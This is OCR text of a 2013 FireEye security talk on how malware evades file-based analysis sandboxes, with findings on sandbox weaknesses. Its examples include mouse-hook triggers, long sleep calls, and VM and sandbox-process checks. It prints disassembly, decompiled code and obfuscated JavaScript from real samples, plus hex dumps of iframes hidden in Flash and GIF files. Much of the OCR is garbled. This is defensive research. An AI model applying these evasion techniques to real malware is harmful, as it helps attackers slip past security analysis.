Number of Malware Samples Per Day as per

Kaspersky Labs.
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Why File Based SandBox..

* AV researchers need to be able to keep up

« Average Response time for Human Analysts
— 30 — 45 minutes Research.
— Not scalable

« Response time for File Based SandBox
— Normally couple of minutes
— Scalable with machines

)
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Design Architecture for a File Based Sandbox

Sand Box (VPC,.)

)
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)
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Hot Knives through Butter:
Bypassing File Based
Sandboxes

Abhishek Singh , Zheng Bu




Evasion techniques

New Modern Trend: Human Interaction ..
— Trojan UpClicker (wrapper around Poison lvy,)
— APT BaneChant

Configuration
— Trojan Nap aka Khelios back from dead

Classic Detection
— Checking for VM related processes.
— Yes malware are still using them.

Environment Specific Evasions.
— Version Checks, Embedded Iframe

)
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Human Interaction ..

 Hooking to a Mouse .. SetWindowsHo0oKEX()

« Message Boxes ..

)
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Assembly code for Mouse Hook Trojan UpClicker

add

push
push
call
push
push
push
call
mov

push

nuch

esp, 8

] ; duThreadId

] ; lpHoduleName
ds:GetHoduleHandled

eax ; hmod

offset fn ; 1pfn

BEh ; idHook ; WH HOUSE LL

ds:SetWindowsHookExA
esi, ds:GetMescaged

B ; WHsgFilterHax
1] = mdcaFiltarlHin

Copyright (c) 2013, FireEye, Inc. All rights reserved. | CONFIDENTIAL
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Mouse Clicks

LHESWLT stdcall Fn{int nCode, WPARAW wParam, LPARAM 1Param)
{

char Dest; /f [sp+Ch] [bp=A8h]E3

char vS; ff [sp+Dh] [bp-ATh]E3

__int1é wh; /) [sp+*?1h] [bp-23h]E3

__int16 w?; f/ [sp+*B1h] [bp=3h]@&

char vB; 7/ [sp+BZh] [bp-1h]&2é

iF { *nCode )

switch { wlaram )
L
case 0x200u: £ WH_HOUSEHOUE
Dest = @3
memset{&ut, @, BxB4u);
ufh = @3
sprintf{&best, “q5yBqSyBqSuBqSsyRqSyBqSylgsyBqSyRgSyRqSyBqSyRqSys™);
break ;
case Bx28u: A7 WH_LBUTTOHDOWH
fest = B3
memset(&us, 0, BxAbu);
uf = @3
uff = @;:
sprintf{&hest,

"y i k73Bu9i02ks3k7a8u9iB2ksIk7aBuPif2ks3kTal");

e 0x202u: £ WH_LBOTTOHUP
UnhookWindowsHookEx{hhk) ;
sub_4B1178();

)
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Human Interaction...

Message Box in a JavaScript

function MyPopup()

Lf (1==app.alert (JThis ==*~*- .. =~ ometor 7 '
) : he 1ataet on® g \p\nYou can continue wc

1pdate. "))
app. launchURL( "http: // = ° . °

}

arn catTimaimt { "MuDoanand Y 20000 -

"""fdc V- *,f'll" "t

- e wmw

)
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Configuration Specific Evasions

« Employ the configuration of a sandbox.

Limited time to execute,

)
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Configuration Specific Evasion

« Extended Sleep calls ...10 minute timeout here

FCeEzd44 20 HOF
FCEEz445 20 HOF
rce@zd4s|rs  2SBFF Moy EDI,EDI kernelZ2.Sleepl(Timsl
rceaz4d4g2|l - 55 FLI=H
rcegz4a49|] - 2SBEC W
rceaz44e|l - SR FLISEH @ Alertable = FALSE
FCcg@z440 | - F ag FUSH DWORD PTR SS5:[ARG. 11 [Tlme =» [ARG.11
rcaez4Ea| - EZ FF | CALL £ lee=epE=x KERHELZZ. 5 leepEn
rocegz4Es| - 5D
FCadz455 k- C2 8408 R
FCEE2459 =15 ] HOP
FCEE245R =15 ] HOP
FCEE245E =15 ] HOP
FCEE2450 26 HOP
FCaE2450 20 HOF
FCEE245E 20 HOF
FCEEz4EF 20 HOF
FCeEz4a@ FF OB FF
rceez4dal FF OE FF
rcegz4e2 FF OE FF
rocepz463 FF OB FF
roceazdad ] DE Qg
rCEE2455 ] 5] DE G
Sstack [HE1IZ2FFS41=BA12FFad [ current registers]
Stack [HEA1IZ2FFECI1=HEEA927VCH [current registers]
ASCII
CcE 27V @2 @aa ED 12 Ba 20 21 48 @8 68 F@ FO FE| Yo Y % —t@ ==&
F FF FF EBE @1 91 FC 1& 1@ 40 @8| ta=zi JEELkE
74 BA B8 BA @1 AA BA @A CA FF 12 @A 1« 5] b
AE1Z2FF2CI 235 18 48 B8 48 21 460 8@ BA FF 12 8@ FE D9 12 66| 5tE @@ = $ " $

)
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Configuration Specific Evasion .. Sleep calls

Java Script

stringl+="}M :}fdB9S=P"; T
stringl+=",2'ge!@: vmlp$y":
stringl+="Z.MPELO-V]=":
stringl+="}FF?7z.1:.,.<%":
stringl+="C.=fB utx.knc”:
stringl+="E|] | vTKIN WE2]j+";
stringl+=".#*%-j3:aaZ7":
stringl+="Ird]|./: }3C*4{"\"U";
stringls="XM| FEFh! ULuO#Y" ;
stringl+="ek \\*V4+PyBJI<Hx" :
stringl+="Y&0!Qs8cfab7M2";
stringl+="ywlULKOCBE: zS4" ;
sStringl4+="SM3\" %7 . mA cX_";
stringl+="b?7jqR3";

var val = "'

for ( 1=0; i1=stringl.length;: 1-+){
key2 = key2 % OxSe;

charl = stringl.charCodeat (i) + key2:
if (charl == Ox7e){

;hal‘l = charl-oxSe:

val += String. fromCharCode (charl):
key2 += charl:

b

return val;
>

ﬁr lLlaunch = app.setTimeOutimystri). 199000&2 :

)
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Configuration Specific Checks

« Time Trigger Malware.. Trojan Hastati

== —
FF2& ZE6@3@88l CALL OWORD PTR OS: [ESI+33@] kernel3z2.GetlocalTime
BF vEd4aAD040 HDU EOI, 4DHD46?B

BB4BIID8 ¥ 68 GHEAELEN

EE4E1100(] - FF9G 34838081 CHLL DMDHD FPTR DS:[ESI+334]

ER4E1 1ES(] - SD045 Fa LER ERX, CLOCAL.41]

ER4E1 1ES(] = 5@ FUSH ERX

EE4E11EV|] =  FF26 3A83@@8l | CALL OWORD PTR DOS5: CESI+33@]

Ea4al 1ED(] » BFBEY4:S Fa@ FMOLE S ERR, WORD PTR S55: [LOCAL.41]

ER4E11IFL(] = 99 coR

ER4E11F2(] = &H &4 PUSH &4

ER4E11F4(] = 59 FOF ECH

EA4A11FE(] = FYF9 IOIV E

ER4E11F7(] = BFBY45 FZ2 MOWE® ERX, WORD PTR S55: [LOCAL.4+21

EE4E1 1FE(] - &BDZ2 &4 IMUL ED-, EDG, &

EE4E1 1FE(] = 8308 AOO EDX, EARA

ER4E12Ea6E(] - BFBETY45S F& MOWE® ERX, WORD PTR S5: [LOCAL.ZS+2]

EE4El2a4(] - GBOZ2 &4 IMUL EDi, EDG, &

[EE4E27F3]1=ryCE88AEEd (kernel32.GetlocalTimel [(curcent registers)

HSCII
DD @y 86 Gal 6l 0@ B ag BF BB 5[] 24 BE FC 83|01 -+ 04 =

r3 FF 12 6@/ 5E 12 46 84 B 5B BC 4R GRA|x % “#E CiE [JJJ
3 o 4 48 BE| 423 24 48 80 2 JEiCsE C2@

AorE oA, mml R A4 Am el Am mA dAm el A 14 am sl 1T s - e —d

|

BE12FF 44
BE12FF43
BE12FF4C
BE12FFE@

)
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Configuration Specific Checks

+ FF96 3083600
+ BF 7346A040

+ FFO 3603860
» BFE74S Fa

" GaEL 1Y SUE £, 10
- PUSH E51
v 8675 B8 MOU EST, OWORD PTR 55: [ARG.1]
T PUSH EOI
+ 3045 Fi LEH ER¥, (LOCAL. 4]
£Q PUSH EAX

CALL OWORD PTR DS [ESI+334]
HDU EDI,4DHD4

CFUSH BEAED
CAL DD PTR D5: (£S5

CALL DMDHD PTR O5: (EST+334]
FEEHEH ERX, WORD PTR 35: [LOCAL. 4]
FUSH &4

POF ECH

kernel3Z. Sleep

Copyright (c) 2013, FireEye, Inc. All rights reserved. | CONFIDENTIAL
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Configuration Specific Evasion..Hiding

Processes

« Deregister from the PsSetCreateProcessNotifyRoutine.

PAGE : BB5552FA ; Exported entry 916. PsSetCreateProcessNotifyRoutine
PAGE : BB5552FA

PAGE : BB5552FA 5 == SUBROUTIMNE

PAGE : BB5552FA

PAGE : BB5552FA 5 Attributes: bp-based frame

PAGE : BB5552FA

PAGE : BB5552FA 5 __stdcall PsSetCreateProcessNotifyRoutine(x, x)

PAGE : B85552FA public _PsSetCreateProcessHotifyRoutine@g

PAGE : B85552FR _PsSetCreateProcessHotifyRoutine@8 proc near

PAGE : BA5552FA

PAGE : BB5552FA HotifyRoutine = dword ptr 8

PAGE : B5552FA Remove = byte ptr @Ch

PAGE : BA5552FA

PAGE: BA5552FR 8B FF moy edi, edi

PAGE: BB5552FC 55 push ebhp

PAGE: 885552FD 8B EC mou ebp, esp

PAGE : BB5552FF 53 push ehx

PAGE: 88555388 33 DB xor ebhx, ebhx

PAGE: 88555382 38 5D BC cmp [ebp+Remove], bl

PAGE: 808555305 56 push esi

PAGE: 8085553086 57 push edi

PAGE: 885553087 74 65 jz short Remove_equal @

PAGE: 00555309 BF 60 9D 48 00 mou edi, offset _PspCreateProcessHotifyRoutine
PAGE : 865553 BE

PAGE : 865553 BE loc_55530E: ; CODE XREF: PsSetCreateProcessNotifyRoutine{x,x)+u46)]
PAGE:B055530E 57 push edi

PAGE:B055530F EB 38 7C 61 00 call _ExReferenceCallBackBlock@4 ; ExReferenceCallBackBlock(x)
PAGE: 80555314 8B FO mov esi, eax

PAGE: 080555316 85 F6 test esi, esi

PAGE: 80555318 74 1F jz short loc_ 555339

PAGE:B055531A 56 push esi

PAGE: 80555318 EB 63 38 FF FF call _ExGetCallBackBlockRoutine@4 ; ExGetCallBackBlockRoutine{x)
PAGE: 80555320 3B 45 B8 cnp eax, [ebp+HotifyRoutine]

PAGE: 00555323 75 @D jnz short loc_555332

PAGE: 808555325 56 oush esi

)
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Hiding Processes

« Deregister from the PsSetCreateProcessNotifyRoutine.

unsigned int i; // eax@6

unsigned int v2; // [sp*Ch] [bp-8h]@6
unsigned __int8 w3; // [sp+12h] [bp-2h]E4
unsigned __int8 w4; // [sp+13h] [bp-1h]@4

if { (signed __int16)NtBuildNumber == 2195 )

{
Ul = OxBAuU;
U3 = Ox84u;
3
else
{
if ( (sighed __int1&)NtBuildNumber %=z 2600 && (signed __int16)NtBuildNumber %= 3790 )
return 0;
vl = B@xBFu; // Check for mou edi op code is BF
U3 = Bx5Tu; // 57 is op code for Push edi
3

vz = xx(_DUWORD »=){(char =)jmp__PsSetCreateProcessNotifyRoutine + 2);
for (i = wz; 1 € UZ + 128; ++i )

if ( =(_BYTE =)i == ul4 && »(_BYTE =)(i + 5) == u3 )
return =(_DWORD =)(1 + 1);
3
return ©9;

)
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Classic Detection Technigues for Bypassing File

based SandBoxes.

 Enumerating List of services.
« Checking for Product ID keys.
* Checking for 10 Port .

« Checking for processes and DLL specific to the File
based Sandboxes.

)
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Processes Specific to File Based Sandboxes

9008 proc near ; CODE XREF: start+DAlp
push ebx
xor ebx, ebx
nov eax, offset aJoeboxserver_e ; "joehoxserver.exe"

call sub_10409828

test al, al

jnz short loc_18409D1F

nov eax, offset aJoeboxcontrol_ ; "joeboxcontrol.exe"
call sub_18409828

test al, al

jz short loc_10409D21

9D1F ; CODE XREF: sub 10409D00+FT]

)
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Classic Techniques.... Yes Malwares are still using it.

Enumerating Processes and Services of a Virtualized
environment.

= dword ptr -2Ch
= byte ptr -10h

sub esp, 3Ch

lea eax, [esp+3Chevar_10])

nov [esp+3Chevar_2C], eax

nov [esp+3Chevar_30], 20019h
nov [esp+3Chevar_34], 0

nov [esp+3Chevar_38], offset aSoftwareUmware ; "SOFTVAREN\UMware, Inc. \\UMware Tools"
nov [esp+3Chevar_3C], 80000002h
call ReqOpenKeyExA

sub esp, 14h

test eax, eax

setnz  al

novzx  eax, al

add esp, 3Ch

retn

endp

)
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Enumerating processes and Services.

) WIHDER prOc near : CODE XREF: sub HHI10+316Tp
o L+ = dword ptr -1Ch
ciily esp, 1Gh

i [esp+iChevar 1C], oFfset .;l:'dindn-lpﬁpst_ll s UESAWTRDOWEE Sy stend 2 e ivershumnouse  syst., .,
call  GetFileAttributesn

sulb esp, 4
emp  eax, OFFFFFFFFR
setz  al

mvzE  eax, al
aidd esp, 1Ch
retn

1 Db endp

)
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Do not Sleep Yet .. We have a Demo

)
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* Trojan UpClicker....

Gets Activated only when left mouse button is clicked up.

)
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=10

Process llame Proce... User llame v Basic Process Information
[System Process] 0 ¢ 9. [EiT View Debug Trace Flugns Options Windows Help
System 4 00 . ui e 7 x
[} smssexe 540 00 J Trend Micro Internet Security [DI «I X| .l "| .I ﬁ‘_"ﬂ LI EIM|W| TI C[Ri | BIM' HI =
[l m winlogon.exe 628 00 ¥ Process Metric Graphs 88481410 9 POP ECX i
(- services.exe 680 00 | 5 : R 266 ac v |HD DUGRDLPTR DS:CESL4aC], 20202000
vmacthipexe 852 00 ROz EVete HrEg 1Lk £ e EDl enCal IRt
[ svchostexe 364 00 I‘jﬁgﬂ -
: @ Goo... 1220 Administrator 00 '4'- SReDS gﬂU EEF, ESP
svchost.exe 944 00 4 68 DGB40AR | PUSH OFFSET 0A40BODG .
(- svchostexe 1036 00 " SeRi cosono 5133“533?35523 PTR FS:[01 "‘mf[;} F’:ﬁ;;;?,mmm'
wscrtf.. 1728 Administrator 00 i &5:8925 50001 03, DGO PTR FS: (01, ESP Installs SE handler - {SJQ(EEREEFEEY
wu... 2152 Administrator 00 j 3 8 it @(FFFFFFFF)
svchostexe 1080 00 4 STERROASAEEL
- svchostexe 1132 00 dai 65 E8 0 DickD PTR 55: [EBP-181, ESP
spoolsv.exe 1520 00 o 5 2Ceedn CRLLEDUURDXPTR 2 [CAKERNEL 2. GetUers Lof CKERNEL32. GetUsrs ion EFL it o BE.n
% itogieie, 1020 o ! S qasraao ggu owogg PTR DSST4p97421, EDK
En I Thao:, 1840 L ‘j' 1 FFoo nno ECK, 00000
FHPAL 344 Administetr A 10 4 0 scsv4ed 1oV nwonn e pes [48973C1, ECK
alg.exe 2220 00 " CA
Tookarlpd.. 3156 00 4 0 sgs7400 110U 0 nwonn R os: 14897381, ECK
lsass exe 692 00 ack (ea
3] explorer exe 1464 Administrator 00 BP: 2FFEY!
ﬂVMwaveTray,exe 1796 Administrator 00 é 9069 GPCEARSS DBE0RBGA
vintoolsd.exe 1804  Administrator ¢ 00 m ;o Kerne |32, 7CE17067
cmd.exe 2524 Administrator 00
firefox.exe 3936 Administrator 00 | |'v Detailed Process Information G| RETURN from SBS41E2C to SBS44BFD
= all‘ydbg.exe 2784 Adminiﬁmor 00 tem Valie
N melwarg.exe 2408 Admfnfstvatov 00 |l process Properties g of SEH chain
m WhatsRunning exe 3520 Administrator 10 . ProcessID 2408 4
18] ProcessHacker exe 3432 Administrator 00 T s alijacs a 49669
ﬁ'l vrot exe 2184 Administrator 00 Parert Process ID 2784 a 6 malware. {Modu leEntryPoint >
- Company Name Trend Micro Inc. 406
+ Product Name Trend Micro Internet Security 4
Product Version 1750 4
- User Mode CPU 00 &
Kernel Mode CPU 00 2
CPU 00
. Target Win32 Select file or process to debug ,_ Paused
| 4| | EN
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Environment Specific Evasion

File Based Sandbox provides specific environment for
execution of a sample.

)
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Environment Specific Evasion: Version Checks

« Application Version Checks
— Flash Oday exploit “LadyBoyle”, Feb 51" 2013

switch(this.version)
{

case "wvin 11,5,502,146":
break:

case "vin 11,5,502,135%:
break;

case "wvin 11,5,502,110U":
break;

case "wvin 11,4,402,287":
break:;

case "wvwin 11,4,402,278":
break:

case "win 11,4,402,265":
break;

defaulc:
recurn this.empty():

)
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Environment Specific Evasion: Flash case

* Flash Player, Windows Viewer will not render Iframe Tags..
« Sandbox, by opening this file alone, can not reveal the attack

fe 9d cb 60 e8 ee 44 47 13 61 74 ec cf e8 20 3a  AOLEIMG.atilé
la 0Of a3 e3 7Ye 46 6f ad a3 7d 60 £4 96 9f dl al .. £8-Foug} " 4-¥I;
74 74 18 8c de 3a Of £d cof 6f 39 £8 e7 5 7a 6d  tct.ER:.¥Io%sgtzn
83 Se 7a fl 6Ge 02 % el 62 Ze 05 80 7f be df 92  Ffrzin. ab. . E0%GS
02z b3 72 e0 14 1b 8% 27 05 42 d5 3a fa bb 25 38 Lrd. L n L BODde%8
9L 62 bc e2 92 02 77 3c 40 cl 0O& i RPL
40 66 el 00 48 Oc fe ad £f 7f 0Ol
69 66 T2 61 64 &% =20 73 Y2 63 34
2f 2f 64 61 64 61 Y3 ed 73 6l 64
32 32 Ze 6E T2 67 ZE 61  Zf 61 36
6l 32 37 32 20 77 65 64 74 65 54
65 69 67 68 74 3d 30 3 3c 2f 69
e

3c [ffa.F.pei0. .=
3a iframe src=http:
6l Ze 33 33 Ffdadasdsadsa. 33
68 74 6d 3£ 2Z.org/fajsab. htm?
az7z2 width=100 h
eight=0-</iframe

)
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Environment Specific Evasion: GIF case

e 0x3h: End of GIF data stream
 Contextual information is needed to reveal this attack

g7 Q9 OU% Lo 00 vo9 OV Qi "> U 99U vc &? IO 909 Vo AT, UITAL AV 11U,

df 79 9b bb 39 al bb a3 1f la 3a 2b fa al 5a fc By >»9;»Li..:41;Z0
al 2a 44 a6 15 58 41 bS 14 ea 12 d8 03 6b ee e8 i*D|.Xap.e.0.kie

10 14 6d 9a 62 a7 05 58 80 08 30 01 13 c9 37 20  ..n3bS.Xe€.0..E7
oo 3¢ 6 62 S 73 74 61 72 74 28 29 3b  ..[:k2ob_starc():
3f 36 BC 69 66 72 61 64 65 20 73 72 63 3d 22 68 ?><iframe src="h

74 74 70 3a 2f 2£ 77 77 77 2e 72 6f 35 32 31 2e ttp: //www.roS2l.
63 6f 6d 2€ 74 65 73 74 2e 68 74 6d 22 20 77 69 com/test.htu” wi
64 74 68 3d 30 20 68 65 69 67 68
2f 69 66 72 61 6d 65 3e 3c 3f 6f
72 74 28 29 3b 3f 3e 3c 69 66 72
72 63 3d 22 68 74 74 70 3a 2f 2f
6 35 32 31 2e 63 6f 6d 2f 74 65
6d 22 20 77 69 64 74 68 3d 30 20

73 74 61 /iframe><2?0b_sta
65 20 73 re() ;?><iframe s
77 2e 72 rc="http: //www.r
052l.con/test.ht

)
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Environment Specific.: More Complicated Case

« It appears to be a harmless blog site

« Turned out to be a location of an object for the malware
to download

- 5 " nala L g M
B9 oF Vo

)
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What's hiding in this Cartoon Hero?

umummm -

Bl As: He “J IER R ".‘ .>1P AN £

« After ey ' .
. DFS0N: B OiR
endofimage, OF90h: Q4491 18une
OFAOh: 4C SHi
comes FFD9, OFBOA: 30 5.
. . DFCON: 55 56" TUUHO;
which is OFDOR: 89 nD. , LB4C, .
« OFEOD: 40 L& 3
Unknown OFFOR: 31 .. 150"/ 1 k135
. 1000h: B Pl DB\ 9, b. &1
Paddlng” 1010h: 1E ~.10.. 04!
1020h: B8 ih: ,00EEOTeA+.C
1030h: A2 AL roditavAivY)
1040h:
1050h:
1060h:
1070h:
1080h: . X
1090h: pUAT YA . E.rafe.
10A0h: s1l.uS .2.0"0§.%.
10BOAh: LiUB.AN'gh.THA. ¥,
10C0Oh: ¥I098 . . O V. Evdqgr
10D0h: Os..te0c) 8., X,
10EOh: ) URAA. V.’
10FOh:
1100h:
1110h:
Ieuplweﬁesus PG!en'dae.ht
Name l Value l Size I Color l Comey
5 char scanDete{ 3349) Dish Fg BN

erwrn M _ID EOIMarker "M _EOI (FFOSh)
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What's hiding in this Cartoon Hero?

 The malware extract the padding data and decrypt,
finally come up with the actual C&C msg, in the form of a

Ini file.

P NetCC121.ini - Notepad

File Edit Format Wiew Help

[[Date]
Starthate=120501
Expirebate=120830

[Configver]

V=20110503 Download locations of images
[head]

MNum=_2

1=Cmd

Z=ExeCmd

)
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Catch me if you can!

« While you are reading this, similar images may be flying
around in your network

* |solated File Based Sandbox itself does NOT have the
environment to trigger malicious behaviors of these files

)
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Performance of File based Sandboxes against

Anti Analysis Techniques...

Sandboxes  Human Iframe Sleep V-Check 10 VM
Interaction Flash/JPG Calls Ports Processes
Sandbox1 No No Yes No Yes Yes
Sandbox2 No No Yes No Yes Yes
Sandbox3 Yes No Yes No Yes Yes
) _ )
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Take Away

 File based sandboxes not effective in detecting advanced
malware.

—Designed as research tool, long way to go for prime time

—Most of the File Based Sandboxes can only provide an activity report, not
classification

—Most of the File Based Sandboxes are not hardened for advanced
malware analysis

* Virtual Execution Environment must be hardened &
obfuscated for advanced evasions

—Many old malware like Khelios, PushDo and Poison Ivy have resurrected
with sandbox evasions

—Many of the recent Oday attacks leverage these evasions as well
—A never ending battle

)
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Take Away

«Advanced attacks are stateful, understanding the context
of the attack via multi-flow analysis are needed to fill the

gap

« Multi-flow & Multi-Vector correlation between set of events
IS required to capture the behavior of the advanced threats.

)
<© FireEye

Copyright (c) 2013, FireEye, Inc. All rights reserved. | CONFIDENTIAL




Q&A

* Follow the research blog:
— http://www.fireeye.com/blog/

 Follow us on twitter:
— https://twitter.com/FireEye

)
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